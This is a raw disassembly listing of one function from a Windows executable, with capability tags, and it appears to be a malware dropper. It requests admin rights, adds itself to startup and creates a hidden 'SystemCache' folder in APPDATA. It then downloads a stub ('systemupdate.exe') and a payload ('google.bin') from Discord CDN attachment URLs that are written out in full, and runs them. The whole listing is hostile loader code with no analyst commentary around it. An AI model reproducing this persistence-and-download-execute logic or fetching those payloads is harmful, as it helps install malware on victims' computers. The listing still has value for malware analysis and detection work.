Function at 0x140001c2f
Capabilities:
Query environment variable
Set file attributes

Disassembly:
push rbp
push rbx
sub rsp, 0x378
lea rbp, [rsp + 0x80]
call dbg.__main
call sym.is_running_as_admin__
xor eax, 1
test al, al
je 0x140001c56
call sym.relaunch_as_admin__
lea rax, [rbp + 0xb0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rax, [rbp + 0x1ef]
mov qword [rbp + 0x2e8], rax
nop
nop
lea rcx, [rbp + 0x1ef]
lea rdx, [rbp + 0xb0]
lea rax, [rbp + 0x1c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.add_to_startup_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1ef]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x21f]
mov qword [rbp + 0x2e0], rax
nop
nop
lea rdx, [rbp + 0x21f]
lea rax, [rbp + 0x1f0]
mov r8, rdx
lea rdx, str.https:__cdn.discordapp.com_attachments_1178810474935111690_1314097351127732274_antietat.exe_ex67528807is67513687hma879d235e0e9ab42197adebd30a1dcd38e7d3ff1d570a766b4b5ac7a476e8dc7
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x90]
lea rdx, [rbp + 0x1f0]
mov r8d, 0x5a
mov rcx, rax
call sym.xor_encrypt_decrypt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_
lea rax, [rbp + 0x1f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x21f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x24e]
mov qword [rbp + 0x2d8], rax
nop
nop
lea rdx, [rbp + 0x24e]
lea rax, [rbp + 0x220]
mov r8, rdx
lea rdx, str.https:__cdn.discordapp.com_attachments_1178810474935111690_1314084840471265371_google.bin_ex67527c60is67512ae0hm8f37e08b0f9684170b94f69a0483ca1c06a0768db952c1640cf4ff676e76255b
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x70]
lea rdx, [rbp + 0x220]
mov r8d, 0x5a
mov rcx, rax
call sym.xor_encrypt_decrypt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_
lea rax, [rbp + 0x220]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x24e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x90]
mov r8d, 0x5a
mov rcx, rax
call sym.xor_encrypt_decrypt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0x70]
mov r8d, 0x5a
mov rcx, rax
call sym.xor_encrypt_decrypt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_
lea rax, str._DEBUG__Decrypted_Stub_URL:
mov rdx, rax
mov rax, qword [0x1400f4c50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x50]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, str._DEBUG__Decrypted_Payload_URL:
mov rdx, rax
mov rax, qword [0x1400f4c50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x30]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x24f]
mov qword [rbp + 0x2d0], rax
nop
nop
lea rax, str.APPDATA
mov rcx, rax
call sym.getenv
mov rdx, rax
lea rcx, [rbp + 0x24f]
lea rax, [rbp + 0x10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x24f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.empty___const
test al, al
je 0x140001ed5
lea rax, str._ERROR__Failed_to_retrieve_AppData_path.
mov rdx, rax
mov rax, qword [0x1400f4c30]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x1400020f7
lea rax, [rbp + 0x250]
lea rdx, [rbp + 0x10]
lea r8, str.SystemCache
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rdx, [rbp + 0x250]
lea rax, [rbp - 0x20]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0x250]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::filesystem.exists_std::filesystem::__cxx11::path_const_
xor eax, 1
test al, al
je 0x140001f78
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::filesystem.create_directory_std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0x270]
lea rdx, [rbp - 0x20]
mov rcx, rax
call method.std::filesystem::__cxx11::path.string___const
lea rax, [rbp + 0x270]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
lea rax, [rbp + 0x270]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x290]
lea rdx, [rbp - 0x20]
mov rcx, rax
call method.std::filesystem::__cxx11::path.string___const
lea rax, [rbp - 0x40]
lea rdx, [rbp + 0x290]
lea r8, str._systemupdate.exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x290]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2b0]
lea rdx, [rbp - 0x20]
mov rcx, rax
call method.std::filesystem::__cxx11::path.string___const
lea rax, [rbp - 0x60]
lea rdx, [rbp + 0x2b0]
lea r8, str.google.bin
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x2b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.download_file_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
xor eax, 1
test al, al
je 0x14000203c
lea rax, str._ERROR__Failed_to_download_stub.
mov rdx, rax
mov rax, qword [0x1400f4c30]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x1400020d3
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.download_file_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
xor eax, 1
test al, al
je 0x140002085
lea rax, str._ERROR__Failed_to_download_payload.
mov rdx, rax
mov rax, qword [0x1400f4c30]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x1400020d3
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.execute_stub_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
xor eax, 1
test al, al
je 0x1400020ce
lea rax, str._ERROR__Stub_execution_failed.
mov rdx, rax
mov rax, qword [0x1400f4c30]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov ebx, 1
jmp 0x1400020d3
mov ebx, 0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x20]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x1400022c4
add rsp, 0x378
pop rbx
pop rbp
ret